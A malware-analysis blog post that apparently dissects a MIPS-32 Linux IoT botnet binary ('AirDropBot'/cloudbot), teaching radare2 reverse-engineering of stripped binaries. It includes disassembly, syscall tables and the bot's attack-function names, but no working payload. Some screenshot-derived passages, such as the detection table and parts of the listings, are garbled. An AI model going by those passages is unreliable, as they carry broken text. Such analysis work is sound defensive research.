## MMD-0064-2019 - Linux/AirDropBot

blog.malwaremustdie.org (https://blog.malwaremustdie.org/2019/09/mmd-0064-2019linuxairdropbot.html) · by unixfreaxjp · September 28, 2019

## Prologue

There are a lot of botnet aiming multiple architecture of Linux basis internet of thing, and this story is just one of them, but I haven't seen the one was coded like this before.

Like the most of other posts of our analysis reports in MalwareMustDie blog, this post has been started from a friend's request to take a look at a certain Linux executable malicious binary that was having a low (or no) detection, and at that time the binary hasn't been categorized into a correct threat ID.

This time I decided to write the report along with my style on how to reverse engineering this sample, which is compiled in the MIPS processor architecture.

So I was sent with this MIPS 32bit binary ..

#### 1 2

cloudbot-mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped ...and according to its detection report in the Virus Total hash it is supposed to be a "Mirai-like" or Mirai variant malware, (thank's to good people for uploading the sample to VirusTotal). But the fact after my analysis is saying differently, *these are not Mirai, Remaiten, GafGyt (Qbot/Torlus base), Hajime, Luabots, nor China series DDoS binaries or Kaiten (or STD like)*. It is a newly coded Linux malware picking up several idea and codes from other known malware, including Mirai.

haczowiekowek	Alabolit <sup>7</sup> 72Houlinde+117530edH1020H14	necizara 🗄 Neo 🔍	± ⊞ 🖓 🚥
DETECTION	DETNILS RELATIONS CON	TENT SUBMISSIONS	COMMUNITY D
	121 - 9		
Augistale	() Trajacticos Mina Mi	Avey-Avt,	() hyseflackcoopt.exa.thrack
Aved	() ECONORUJER	15/0	() Of Michael Party
Are po that	() LINEXCEASE Interpretation	E3E140012	() A Verset Of Low Mars Add
F-Secure	() Nakara UNUKARai magar	Fortinet	() EUT MINE ADDR
CEuts	() Deschiger Agent DA188A	Jiangmin	() Beckber Linux (M
Kepenky	() HUR Declared Line Minis	Calvas-2012	() Weld factor of
Roung	() BACKERS IN SHEET (THE FE BRIDGE	M. Sophis Ar	() Matteriero-ti
Eynenbec	() Trape Ger.2	Tranditions	() has been as a second
Zone/Normity C Point	() HEUR Backdoor Linux Mean's	Ad Amore	C Unclater and
Abol ab US	O manual	4/800	O Instants

(https://lh3.googleusercontent.com/dxOB7ZuVg-fBrRmstt3EmVsaleV\_-

P9L6HxsIHK5w3puttv\_w8pBzUM3sao1qFynjKVehsyIqcuW3dtUsfUmA3l6TXGot255o7mfQ\_tKl2KDS3XZ6s9\_8vTKbVwK81VjsnENa4y32U= w1271-h810-no)

This sample is just one of a series of badness, my honeypots, OSINT and a given information was leading me into **26 types of samples** that are meant to pwned series of **internet of thing (IoT) devices** running on Linux OS, and this MIPS-32 ELF binary one I received is just one of the flocks.

If you see the filenames you can guess some of those binaries are meant to aim specific IoT/router platforms and not only for several randomly cross-compiled architecture supported result. This type of binaries seem to be started appearing in the early August, 2019, in the internet.



(https://lh3.googleusercontent.com/PfOoszwvHvBL5XA\_RTTU5Oz05uXCLrS quVuOdYCymdu9hBRhBKhd9SdN5odUu4MuHsBYGduBkkIwEi0QJGSdS3oY NIdzXt50jH3M\_0CsuPpgFUiFJEjHV\_xTxgODZYx1KOtD0BmAxU=w1457h627-no)

Below is the additional list of the compiled binaries meant to run on several non-Intel CPU running Linux operating systems, they can affect network devices like routers, bridges, switches, and other the small internet of things that we may already use on daily basis:

hnios2.cloudbot: 32-bit LSB Altera Nios II, version 1 (SYSV), dynamically linked hriscv64.cloudbot: 64-bit LSB UCB RISC-V, version 1 (SYSV), dynamically linked microblazebe.cloudbot: 32-bit MSB Xilinx MicroBlaze 32-bit RISC, version 1 (SYSV), staticall microblazeel.cloudbot: 32-bit LSB version 1 (SYSV), statically linked, sh-sh4.cloudbot: 32-bit LSB Renesas SH, version 1 (SYSV), statically linked. xtensa.cloudbot: 32-bit LSB Tensilica Xtensa, version 1 (SYSV), dynamically linked. arcle-750d.cloudbot: 32-bit LSB ARC Cores Tangent-A5, version 1 (SYSV), dynamically linked.

(The hashes are all recorded in the "Hashes" section of this post)

### **Binary Analysis**

Since I was asked to look into the MIPS sample so I started with it. The binary analysis is showing a symbol striping result, but we can still get some executable section's information, compiler setting/trace that's showing how it should be run, and some information regarding of the size for the section/program headers, but it's all just too few isn't it? Still this analysis is good for getting information we need for supporting dynamic analysis (if needed) afterward. I personally love to solve malware stuff as statically as possible.

I don't think I will get much information on the early stage (binary analysis) with this ELF binary, except what had already known, such as cross-compiling result, not packed, and headers and **entry0** are in place, so I'm good for conducting the next analysis step.

Section Headers:									
[Nr] Name	Туре	Addr	Off	Size	ES	Flg	Lk	Inf	AI
[0]	NULL	00000000	000000	000000	00		0	0	0
[ 1] .init	PROGBITS	00400094	000094	00008c	00	AX	0	0	4
[2].text	PROGBITS	00400120	000120	004880	00	AX	0	0	16
[ 3] .fini	PROGBITS	004049a0	0049a0	00005c	00	AX	0	0	4
[ 4] .rodata	PROGBITS	00404a00	004a00	000820	00	A	0	0	16
[ 5] .ctors	PROGBITS	00445224	005224	000008	00	WA	0	0	4
[ 6] .dtors	PROGBITS	0044522c	00522c	800000	00	WA	0	0	4
[7].data	PROGBITS	00445240	005240	001000	00	WA	0	0	16
[ 8] .got	PROGBITS	00446240	006240	0002c4	04	WAp	0	0	16
[ 9] .sbss	NOBITS	00446504	006504	000014	00	WAp	0	0	4
[10] .bss	NOBITS	00446520	006504	000d78	00	WA	0	0	16
[11] .mdebug.abi32	PROGBITS	0000058e	006504	000000	00		0	0	1
[12] .shstrtab	STRTAB	00000000	006504	000057	00		0	0	1
There are no section gro	ups in this file								
Program Headers:									
Type Offset	VirtAddr Phy	sAddr F	ileSizl	NemSiz	F۱	g Ali	ign		
LOAD 0x00000	0 0x00400000 0x0	0400000 02	k05220 (	0x05220	RI	E 0x'	1000	10	
LOAD 0x00522	4 0x00445224 0x0	0445224 0	k012e0 (	0x02074	R₩	0x	1000	0	
GNU_STACK 0x00000	0 0x00000000 0x0	0000000 0	k00000 (	0x00000	RW	E 0x4	4		
Section to Segment mapp	ing:								
Segment Sections									
00 .init.text.f	ini .rodata								
01 .ctors .dtors	.data .got .sbss	.bss							
02									
There is no dynamic sect	ion in this file								
There are no relocations	in this file.								
There are no unwind sect	ions in this fil	e.							
No version information f	ound in this fil	e.							

(https://lh3.googleusercontent.com/DM692yeh8Njgi7ejrD0q5oOtzMY7Fx54 ouR4CDkdss7oB5ckPzvVVTxFTVorE6t0S8GER968haIF4sYFkpH2DmpWm M0NIIzyPxd8qjr9lvcXTGl9TVnjrfJ2Vpq2aswmKUiJFhGPxss=w994-h825-no)

For file attributes I extracted them using forensics tools included in Tsurugi Linux commands, which are also not showing special result too, except of what has been recorded from the infected box. So I was taking several checks further I run some several ELF pattern signatures I know, with running it against my collection of Yara rules and ClamAV signature to match it to previous threat database that I have, and this is only to make me understand why several falsepositive results came up in other Anti Virus product's detection. The malware yet is having several interesting strings but they are still too generic to be processed to identify the threat without reading its assembly further.

So my "practical binary analysis" result for this MIPS binary is going to be it, nothing much.

## Some methods on MIPS-32 static analysis to dissect this sample with radare2:)

So this is the fun part, the binary analysis with radare2;). no cutter GUI, no fancy huds, just an *old-schooler way* with command line, visual mode and graph in a **r2shell**.

I think there is really no such precise step by step "cookbook" on how to to use **radare2** during analyzing something, and basically **radare2** is enriched in design coded by several coders for any kind of users to use it freely with many flavor and options or purpose in binary analysis, once you get into it you'll just get use to use it since radare2 will eventually adapting to your methods, and before you know it you are using it forever.

My line of work from day one is UNIX operating systems, I use radare2 since the name is "radare" compiled from FreeBSD ports in between years of 2006 to 2007, and I mostly use command line basis on every radare shell on my VT100x/VT200x terminal emulation variants I use afterwards, this is kind of building my reversing forms with radare2 until now. The command line base.

But first, let's make sure you are setting "mips" and "32" in radare2 environment of assembly architecture (arc) and bits for this binary, then try to recognize the "main function", which is in "0x4016a0" at the pattern/location that's different than Intel basis assembly like shown in the picture below:

F0x00400260 External0.0% 190 cloudbat-a	Desteo 9 at he cleak	
(fcn) entrul 100	ilbala bu ai é entrao	
antrul (int32 t arg3 int32 t arg	06 ):	
i and int?? t and 0b 8 and	01, 7,	
use integration of the second	-0v10	
war intoz_t var_ton e s	+0x10	
war intoz_t var_141 e s	-0.12	
	-0.18	
0v00400260 03+00021	BOUG TOPO FO	
0x00400260 0380002	bal 0v/0026c	+F11
0v00400264 04110001	Dan OXHOOZOC	36.10
: CALL YREE from entry() B	0~400264	
0v0040026c 3c1c0005	lui m. 5	
0v00400200 00160000	addiu an an -0x202c	
0x00400274 0396e021	addit so, so, ra	
0x00400274 00016021	BONG ED 2010	
0x0040027c 8f8481c8		: F0v4463f8:47=0v4016s0_s0
0x00400280 8fa50000	wal. (sp)	Levelopice de de
0x00400284 27a60004	addiu a2 sp. 4	: arg3
0x00400288 2401fff8	addiu at. zero8	, di 50
0x0040028c 03a1e824	and sp. sp. at	
0x00400290 27bdffe0	addiu sp. sp0x20	
0x00400294 8f878240	$ w  = 3$ , $-0\sqrt{2}dc0(m)$	: E0x446470:41=0x400094_sectioninit
0x00400298 8f8881a4	lw t0, -0x7e5c(m)	: [0x4463d4:4]=0x4049a0 sectionfini
0x0040029c 00000000	nop	, Entries (1 stretes sector)
0x004002a0 afa80010	sw t0, 0x10(sp)	
0x004002a4 afa20014	sw v0, 0x14(sp)	
0x004002a8 afbd0018	sw sp, 0x18(sp)	
0x004002ac 8f9981d8	w t9, -0x7e28(m)	F0x446408:41=0x403948
0x004002b0 00000000	nop	
0x004002b4 0320f809	jair t9	;[?]

(https://lh3.googleusercontent.com/pNkh0t72o31A1wkYGTO4vQWfNCX9FZNKKTt0SgxLThVC901XhJv88t28eV6KLitU4KNNz m92QHcRxZV\_U30Xt1quUTBsVTzhvi6yXo5RHs-rS28vs6Bj-Gd0gQ38BR7ORIYJ4sgUdk=w1488-h840-no)

It is a simple command for only showing how many Linux syscall is used, and this will work after the radare2 parse and analyze the binary to the analysis

<mark>[0x00400260]&gt;</mark> i grep "size"; ie size 0x6764 [Entrypoints] vaddr=0x00400260 paddr=0x00000260 haddr=0x00000018 hvaddr=0x00400018 type=program												
1 entrypoin	ts											
[0x00400260]	> xc	@0x00	04002	6010x6	5764~	sysca						
0x00401970	0000	000c	8199	8168	10e0	0006	0040	8021	h0.1	,	syscall,4006	
0x004019d0	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.‼	;	syscall.4002	
0x00401a30	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	,	syscall,4020	
0x00401ab0	2402	0fa5	0000	000c	8f99	8168	10e0	0006	\$hh	,	syscall.4005	
0x00401b40	afa2	0010	2402	1060	0000	000c	27bd	0020	\$`'	,	syscall.4192	fcn.00401b4c
0x00401bb0	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	,	syscall,4066	
0x00401c40	2407	0010	2402	1063	0000	000c	8f99	8168	\$\$ch	5	syscall.4195	
0x00401cb0	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall.4013	
0x00401d10	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall,4004	
0x00402080	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall.4170	
0x004020e0	0000	000c	8f99	8168	10e0	0006	0040	8021	h	;	syscall,4175	
0x00402140	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	,	syscall,4178	
0x004021a0	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall.4183	
0x00403df0	2402	0fd7	0000	000c	8f99	8168	10e0	0006	\$h	;	syscall.4055	
0x00403e60	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall.4220	
0x00403ec0	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall,4194	
0x00403f20	0080	8821	0220	2021	2402	0fa1	0000	000c	!. !\$	;	syscall.4001	
0x00403f70	0000	000c	8f99	8168	10e0	0006	0040	8021	h@.!	;	syscall.4050	
0x00403fd0	0000	000c	8f99	8168	10e0	0006	0040	8021	h		syscall.4049	
0x00404030	0000	000c	8f99	8168	10e0	0006	0040	8021	h		syscall, 4047	
0x00404090	0000	000c	8f99	8168	10e0	0006	0040	8021	h		syscall,4024	
0x004040f0	0000	000c	8f99	8168	10e0	0006	0040	8021	h		syscall.4166	
0x00404710	0320	3021	00a0	2021	2402	Ofcd	0000	000c	. 0!!\$	;	syscall.4045	
0x004048f0	0000	000c	8f99	8168	10e0	0006	0040	8021	h	í	syscall, 4037	
F0x00400260	1> IT											

(https://lh3.googleusercontent.com/JLgDDeKWFxaFFyi63YtgQYUIOKsGTYV F\_aMNul5WLcB0vWRREng4GOl5yW4wCzFcRf9s4DTTMzspa2O7RQ355fC m4VtB1UIPElAzefU5OZRExuyZczQTYUk8\_RGTCj0c1NT7K5Vi59w=w1056 -h766-no)

PS: If you know what you're doing, an simpler/easier way for the MIPS 32bit to

seek where the syscall codes placed is by grepping the assembly code with the

hex value of "0x000000c" like below, the same result should come up:

:> /x 000000c
Searching 4 bytes in [0x446504-0x447298]
hits: 0
Searching 4 bytes in [0x445224-0x446504]
hits: 0
Searching 4 bytes in [0x400000-0x405220]
hits: 24
0x00401970 hit1_0 0000000c
0x004019d0 hit1_1 0000000c
0x00401a30 hit1_2 0000000c
0x00401ab4 hit1_3 0000000c
0x00401b48 hit1_4 0000000c
0x00401bb0 hit1_5 0000000c
0x00401c48 hit1_6 0000000c
0x00401cb0 hit1_7 0000000c
0x00401d10 hit1_8 0000000c
0x00402080 hit1_9 0000000c
0x004020e0 hit1_10 0000000c
0x00402140 hit1_11 0000000c
0x004021a0 hit1_12 0000000c
0x00403df4 hit1_13 0000000c
0x00403e60 hit1_14 0000000c
0x00403ec0 hit1_15 0000000c
0x00403f2c hit1_16 0000000c
0x00403f70 hit1_17 0000000c
0x00403fd0 hit1_18 0000000c
0x00404030 hit1_19 0000000c
0x00404090 hit1_20 0000000c
0x00404010 hit1_21 0000000c
0x0040471c hit1_22 0000000c
0x004048f0 hiti_23 0000000c

(https://lh3.googleusercontent.com/7ZKEtke\_Gul9Em8e5H890KtLqGx7ADB jX8GallIeorrKETL1S\_Am6z9vnicoQ4xPkx1AuUqWphnZOk8DsV10naB7LNkl aHs00fgBvlbEM7L8YN4SuXPAJsU31\_-2-2z7cCJUbkfCM8c=w599-h864-no)

In my case on dealing with Linux or UNIX binaries, I have to know first what syscalls are used (that kernel uses for making basic operations), "syscall" is used to request a service from kernel. Any good or bad program are using those (if they need to run on that OS), so syscalls have to be there. For me, the syscalls is important and its amount will tell you how big the work load will be, ...then the rest is up to you and radare2 to extract them, the more of those syscalls, the merrier our RE life will be, without knowing these syscalls there's no way we can solve such stripped binary :)

In a Linux MIPS architecture, where assembly and register (reduced registers due to small space) is different than PC's Intel ones (MISP is RISC, Intel is CISC, RISC is for a CPU that is designed based on simple orders to act fast, many networking devices are on RISC for this reason). Linux OS in some MIPS platform can be configured to run either in big or in little endian mode too, you have to be careful about the endianness in reversing MIPS, like this MIPS binary is using big endian, also binaries for *SGI machines*, but some machines like *Loongson 3* are just like Intel or PPC works in little endian, several Linux OS is differing their package for supporting each endianness with "mips" (big) or "mipsel" (little) in their MIPS port. Information on the target machines for each sample can help to recognize the endianness used.

In MIPS the way "syscall" used is also have its own uniqueness. Basically, a designated service code for a syscall must be passed in **\$v0** register, and arguments are passed in other registers. A simple way in assembly code to recognize a syscall is as per below snipped code:

1
2
3
1i \$v0, 0x1
add \$a0, \$t0, \$zero
syscall

Explanation: The "0x1" is stored in the "\$v0" register (it doesn't have to be assembly command "li" but any command in MIPS assembly in example "addliu", etc, can be used for the same effect), which means the service code used to print integer. The next line is to perform a copy value from the register "\$t0" to "\$a0" (register where argument is usually saved). Finally (the third line) the syscall code is there, with these components altogether one "syscall" can be executed.

We can apply the above concept in the previously grep syscall result. The objective is to recognize the address of its **syscall wrapper** function for this stripped binary analysis purpose. For example, at the second result at "0x004019d0" there's a **syscall number**, and by radare2 you go to that location with seek (**s**) command and using visual mode we can figure the function name in no time. I will show you how.

[0x004019b0 [xAdvc]0 0%	180 cloudbot-mi	ps]> pd \$r @ entry0+5968 # 0x4	01960
; CALL XREF	from entryO 🛛 +	0xa4	
; CALL XREFS	from fcn.00400	340 @ 0x400450, 0x4005fc	
; CALL XREF	from fcn.004016	58 @ 0x4017f4	
0x004019b0	3c1c0005	lui gp, 5	
0x004019b4	279cc880	addiu gp. gp0x3780	
0x004019b8	0399e021	addu gp. gp. t9	
0x004019bc	27bdffe0	addiu sp. sp0x20	
0x004019c0	afbf001c	sw ra. Ox1c(sp)	
0x004019c4	afb00018	sw s0. 0x18(sp)	
0x004019c8	afbc0010	sw gp. 0x10(sp)	
0x004019cc	24020fa2	addiu v0, zero, 0xfa2	
; syscall,	4002:		
0x004019d0	000000 <b>0c</b>	syscall	
0x004019d4	8f998168	lw t9, -fcn,00401d50(gp)	; [0x446398:4]=0x401d50 fcn_00401d50
,=< 0x004019d8	10e00006	begz a3, 0x4019f4	
0x004019dc	00408021	move s0 规	
0x004019e0	0320f809	jalr t9	:[?]
0x004019e4	00000000	nop	
0x004019e8	8fbc0010	w gp, 0x10(sp)	
0x004019ec	ac500000	sw s0. (v0)	
0x004019f0	2402ffff	addiu 📶, zero, -1	
> 0x004019f4	8fbf001c	lw ra, Ox1c(sp)	
0x004019f8	8fb00018	lw s0, 0x18(sp)	
0x004019fc	03e00008	jr ra	
¥ 0x00401a00	27bd0020	addiu sp, sp, 0x20	
0x00401a04	00000000	nop	
0x00401a08	00000000	nop	
0v00401a0c	00000000	non	

Let's fix the screen for it as per below so we can be at the same page:

 $(https://lh3.googleusercontent.com/UWsISGvXqqJh4PmV_nqNZxl9kBnWLvE) \label{eq:linear} % \label{eq:linear} \label{eq:linear} % \label{eq:linear} \end{tabular} \label{eq:linear} % \label{eq:linear} \end{tabular} \label{eq:linear} \label{eq:linear} \end{tabular} \label{eq:linear} \label{eq:linear} \end{tabular} \end{tabular} \label{eq:linear} \end{tabular} \end{tabular} \label{eq:linear} \end{tabular} \end{tabular} \label{eq:linear} \end{tabular} \label{eq:linear} \end{tabular} \label{eq:linear} \label{eq:linear} \label{eq:linear} \label{eq:linear} \end{tabular} \label{eq:linear} \l$ 

O54HsMaMUk2wVb7SvoBYoXYZzimzhJ6yfMkeQaDLJjH-

#### a85E7GHuakXHojkwZvQYUktHJe-YeV\_mpQH62v01fHJvoqr-hhFVgQtX-9PXqde0=w1313-h786-no)

I marked the line where it is assigning "**0xfa2**" value to "**\$v0**", and "0xfa2" is the number registered for "**fork**" syscall in Linux MIPS 32bit OS, that's also saying 0xfa2 is **syscall number** of **sys\_fork** (system call for fork comnmand), if you scroll up a bit you can see the function name "fcn.004019a0", which is the "**wrapper function**" for this "**syscall fork**" or "**sys\_fork**". The syscall command will accept the passed **syscall number** stored in "\$v0" to be translated in the syscall table to pass it through the OS specific registered syscall name alongside with the arguments needed to perform the further desired syscall operation.

Noted that the syscall number can always be confirmed in designated Linux OS in the file with the below formula, and more information on register assignment on MIPS architecture that explains syscalls calling conventions can be read in ==>[link (https://www.linux-mips.org/wiki/Syscall)].

#### 1

/usr/ include /{YOUR\_ARCH}/asm/unistd\_{YOUR\_BIT}.h

The manual of syscall [link (http://man7.org/linux/manpages/man2/intro.2.html)] is a good reference explaining syscall wrapper in libc. Quoted:

19

27

"Usually, system calls are not invoked directly: instead, most system calls have corresponding C library wrapper functions which perform the steps required (e.g., trapping to kernel mode) in order to invoke the system call. Thus, making a system call looks the same as invoking a normal library function. In many cases, the C library wrapper function does nothing more than: \* copying arguments and the unique system call number to the registers where the kernel expects them;

\* trapping to kernel mode, at which point the kernel does the real work of the system call;

\* setting errno if the system call returns an error number when the kernel returns the CPU to user mode.

However, in a few cases, a wrapper function may do rather more than this, for example, performing some preprocessing of the arguments before trapping to kernel mode, or postprocessing of values returned by the system call. Where this is the case, the manual pages in Section 2 generally try to note the details of both the (usually GNU) C library API interface and the raw system call. Most commonly, the main DESCRIPTION will focus on the C library interface, and differences for the system call are covered in the NOTES section." Using this method, in no time you'll get the full list of the syscall function's used

by this malware as per following table that I made for myself during this analysis:

atoi	_text	0x04031A0
close	_text	0x0401950
connect	_text	0x0402060
exit	_text	0x0403430
fork	_text	0x04019B0
free	_text	0x0402610
getpid	_text	0x0401A10
inet_addr	_text	0x0402010
malloc	.text	0x0402420
memset	_text	0x0401D70
prctl	_text	0x0401B10
recv	.text	0x04020C0
send	.text	0x0402120
setsid	_text	0x0401B90
sigadset	_text	0x04021E0
sigemptyset	_text	0x0402250
signal	_text	0x0402290
sigprocmask	.text	0x0401BF0
sleep	_text	0x0403520
socket	.text	0x0402180
srand	.text	0x0402C44
strcpy	_text	0x0401E00
strlen	_text	0x0401E30
strok	_text	0x0401FF0
strstr	_text	0x0401EF0
timer	_text	0x0401C90
util_strcpy	.text	0x04018EC
write	.text	0x0401CF0

(https://lh3.googleusercontent.com/8pzLxcw3mFKNSm7swUDb4uoqlhiHG5 SRyPefc\_vXnavNmf\_KzUPxM6MSMbaG0iKqjNJPM8fH85Xu9BRRNuMcZAg MJ50uECq1cJtwhHYXAzRE\_R\_mttQLLKv-lzfSDSYbPyAuwimqE9g=w703h851-no)

The rest is up to you on how to make it easy to name the strings for each "syscall" for your purpose, I go by the above strings naming since it is fit to my RE platform, I suggest you refer to Linux syscall base on naming them [link (http://man7.org/linux/man-pages/man2/syscalls.2.html)].

The next step is, you may need to change all function name in radare2 according to this "syscall table". Using the visual mode and analyze function name (afn) command is the faster way to do it manually, or you can script that too, radare2 can be used with varied of methods, anything will do as long as we can get the job's done. In my case I like to use these radare2 shell macro based on table I made for myself:

1
2
3
4
5
:
s 0x0402060; af; afn \_\_\_\_connect; pdf | head
s 0x0401CF0; af; afn \_\_\_\_write; pdf | head

```
s 0x04019B0; af; afn ____fork; pdf | head
:
```

The result is as per seen in the below screenshot:



(https://lh3.googleusercontent.com/vUCsIhRlcbRREA7zIAMONKNvWgVPbp Xa25SyeYQMyPZO9gyomb71MNvGLgRtDMSyyIDQHUDPBVimE5V2bGFEi 7mWMz5uRCr-

Qbr832Di0nyzyfmj5I4Agjmh7T7EcQs7htSKjn3B0Ds=w1025-h729-no)

Up to this way, we'll have all of the syscalls back in place :) Don't worry, you'll do this faster if you get used to it.

0x004016c4	00002021	move a0, zero	
0x004016c8	0320f809	jalr t9	;[?];timer 🔴 🗕 🗕
0x004016cc	00a08821	move s1, al	
0x004016d0	8fbc0010	w gp, 0x10(sp)	
0x004016d4	00402021	move a0, v0	
0x004016d8	8f9981c4	lw t9, -0x7e3c(gp)	; [0x4463f4:4]=0x402c44
0x004016dc	00000000	nop	
0x004016e0	0320f809	jalr t9	;[?] ;srand 🗕
0x004016e4	27b00018	<mark>addiu s0, sp</mark> , 0x18	
0x004016e8	8fbc0010	lw gp, 0x10(sp)	
0x004016ec	00000000	nop	
0x004016f0	8f9982b4	lw t9, -0x7d4c(gp)	; [0x4464e4:4]=0x402250
0x004016f4	00000000	nop	
0x004016f8	0320f809	jalr t9	;[?];sigemptyset 🚄🛹
0x004016fc	02002021	move a0, s0	
0x00401700	8fbc0010	lw gp, 0x10(sp)	
0x00401704	02002021	move a0, s0	
0x00401708	8f998254	lw t9, -Ox7dac(gp)	; [0x446484:4]=0x4021e0
0x0040170c	00000000	nop	
0x00401710	0320f809	jalr t9	;[?];sigaddset 🚄
0x00401714	24050002	addiu al, zero, 2	; arg2
0x00401718	8fbc0010	lw gp, 0x10(sp)	
0x0040171c	00003021	move a2, zero	
0x00401720	8f998100	lw t9, -0x7f00(gp)	; [0x446330:4]=0x401bf0
0x00401724	02002821	move al, sO	
0x00401728	0320f809	jalr t9	;[?]
0x0040172c	24040001	addiu a0, zero, 1	; argl
0x00401730	8fbc0010	lw gp, 0x10(sp)	
0x00401734	24040012	addiu a0, zero, 0x12	; arg1
0x00401738	8f9981fc	w t9, −0x7e04(gp)	; [0x44642c:4]=0x402290
0x0040173c	00000000	nop	
0x00401740	0320f809	jalr t9	;[?];signal 🚛 🗖
0x00401744	24050001	addiu a1, zero, 1	; arg2
0x00401748	8fbc0010	w gp, 0x10(sp)	
0x0040174c	24040012	addiu a0, zero, 0x12	; arg1

(https://lh3.googleusercontent.com/IYmCXB\_V2Vlkig32xlOeakyt2qrFQybfEz 859-s2SGdeR4AcL-5wxjH9cBpi0AaHJolz9Tdxtsu2lSRrelkGldwYRIq7CTVvZp1ysWwDGjxcvzUrI

pxSE33U5MHVRQfOpLUwEQby5tw=w1106-h949-no)

The result looks cool enough for me to read the radare2 graph on examining how this MIPS binary further goes..

0401658]> 0x401690	int32_t arg1, int32_t arg	2, int32_t arg_28h,	int32_t
: F0x446390:47=0x403430			
0x00401690 8f998160	w +9, -0v7ea0(m)		
0v00401694_0000000			
0v00401698_0320f809	ialr +9:[7]		
0x0040169c 00002021			
0x004016a0_3c1c0005	lui en 5		
0v004016a4_279ccb90	addiu m. m0v3470		
0v004016a8_0399e021	addu on on to		
0v004016ac 27bdff58	addiu sp. sp0va8		
0x004016b0_afbf00a0	sw ra. (ya)(sp)		
0x004016b4 afb1009c	sw s1, $0x9c(sp)$		
0x004016b8 afb00098	sw s0, $0x98(sn)$		
0x004016bc afbc0010	sw gp, 0x10(sp)		
: [0x4463e8:4]=0x401c90	on spy oxid(sp)		
0x004016c0_8f9981b8	$\pm 190x7e48(gp)$		
0x004016c4 00002021	move a0, zero		
timer			
0x004016c8 0320f809	ialr t9;[?]		
0x004016cc 00a08821	move s1, al		
0x004016d0 8fbc0010	w gp, 0x10(sp)		
0x004016d4 00402021	move a0, v0		
; [0x4463f4:4]=0x402c44			
0x004016d8 8f9981c4	w t9, -0x7e3c(gp)		
0x004016dc 00000000	nop		
;srand			
0x004016e0 0320f809	jalr t9:[?]		
0x004016e4 27b00018	addiu s0, sp, 0x18		
0x004016e8 8fbc0010	w gp, 0x10(sp)		
0x004016ec 00000000	nop		
; [0x4464e4:4]=0x402250			
0x004016f0 8f9982b4	w t9, -0x7d4c(gp)		
0x004016f4 00000000	nop		
;sigemptyset			

(https://lh3.googleusercontent.com/UOcTIUCANA0k0L5XMtebHWVgP9IHs Ef9nfjSXDyHWcrsM8bTKDK3bFJevBan-Muib5\_dbvvt0NKrh4XWclZ74wkH\_ad5LNDNx7kh44f1imOS9k9MVYPfLQc LX7OLuTEPBo01qoq7fuc=w1082-h957-no)

The next step is a generic way on reversing a stripped binary, by defining the functions that is not part of **Libc** but likely coded by malware coder. For this task, you have to check the rest of the function and seek whether the XREF doesn't go to any of syscall wrapper functions, make sure that function itself is not the main() function, init\_proc() nor init\_term() functions, and that goes to the below leftover list, just naming it to anything you think it is fit with to what it does.

In my case I named them this way:

Function names	Sections	Addresses
ORI_cmd_parse ORI_command_parsing ORI_connecting_ ORI_decrypt_for_recv ORI_encrypt_array ORI_hex_attack ORI_hex_attack ORI_tcp_attack	text. text. text. text. text. text. text. text.	0x04011E0 0x04013BC 0x0401520 0x0400710 0x0400748 0x0400748 0x0400418 0x04002D0 0x04005C8

(https://lh3.googleusercontent.com/r05PVYUL0HuujtiZStkvwRX7XnMm6y\_7 fGTgOFftCf9rhA6dhjfRjlkQq83uMMxbbuZYIRjWP1ruNiqamlgVYx4zvHAu7S GWiHLA1jZUT71\_PZejKZfoBrFIcPvEPqCfG6TWNWKJfW0=w796-h338-no) Then we can put the correct function name into the binary using the same macro I showed you previously, then we are pretty much completed in making this binary so readable... hold on, but read it from where? Where to start?

To pick a good place to start to start reversing, this command will help you to pick some juicy spots, all the extractable strings will be dumped and we can pick one interesting one to start, and go up to build the big picture.:)

Actually symbols are giving us much better options, but right now we don't have anything else that is readable enough to start..

(https://lh3.googleusercontent.com/NkLmUQYR3h3rWhMvTQxdFdvcLM7ic FVoHT27xvS\_1IfQROjAUWJz0SrJv8PTsPyBYx\_4Mouj6J4FCirSk4dt\_dGwbnh MOy1PahpEUzccYyxRKYX2AaPBt04qs9T9u\_9Ya-zf5IfFiZk=w1252-h852no)

You can start to trace this binary from these text address reference and then go up to the call in the main function that supports it. For example, by using the visual mode you can seek the XREF of each text to see how it is called from which function and you can trail them further after that. This isn't going to be difficult to read since you have all functions back in place.

The picture below is showing how the "**air dropping**" is referred to the caller function.



(https://lh3.googleusercontent.com/XJmMCMDGdF8DIsxqOr9Y5sNd8Ta1X 9-

kIabOCeDfYvHrpzo0xUtsbzZ\_sXF8AnIZ4m5RhhFqglDRvPGtqLLs4YbVsHwq yx8m61YQFwBpXeMPazH5Qr0IQ3EJl5Y5FC\_KHkg7G5KjmOE=w1693h818-no)

That's it. These methods I shared are useful methodology in analyzing Linux MIPS-32 binary especially stripped ones like the one I have now. I think you're good enough to go to complete your own analysis by yourself too. Please just tried those methods if you don't have any other better ways and don't be afraid if other RE tools can't make you read the MIPS-32 binary well, just fire the **radare2** with the tips written above, and everything should be okay :)

We go on with the malware analysis of this binary and its threat then..

## What does this MIPS-32 binary do?

Practically. the MIPS binary is bot that is having a mission to infect the host it was dropped into (note: so it needs a dropping scheme to go to the infected host beforehand), making a malicious process called "**cloudprocess**", send message of "**airdopping clouds**" through the standard output (that can be piped later on). It is recording its "PID" and **fork** its process for the further step. The message of "airdropping clouds" is the reason why I called this malware as "AirDropBot" eventhough the coder prefer to use "Cloudbot", which there is also a legitimate good software that uses that name too as their brand. Upon successful forking it will extract the what the coder so-called "**encrypted array**", it's ala Mirai table crypted keywords in its concept, but it is different in implementation., I must guess that it could be originally coded to avoid XOR operation which is the worst Mirai bug in the history :) but this "**encrypt\_array**" is just ending up to an encoded obfuscation function :) - Anyhow the value from this "decrypted" coded is used for further malware process.

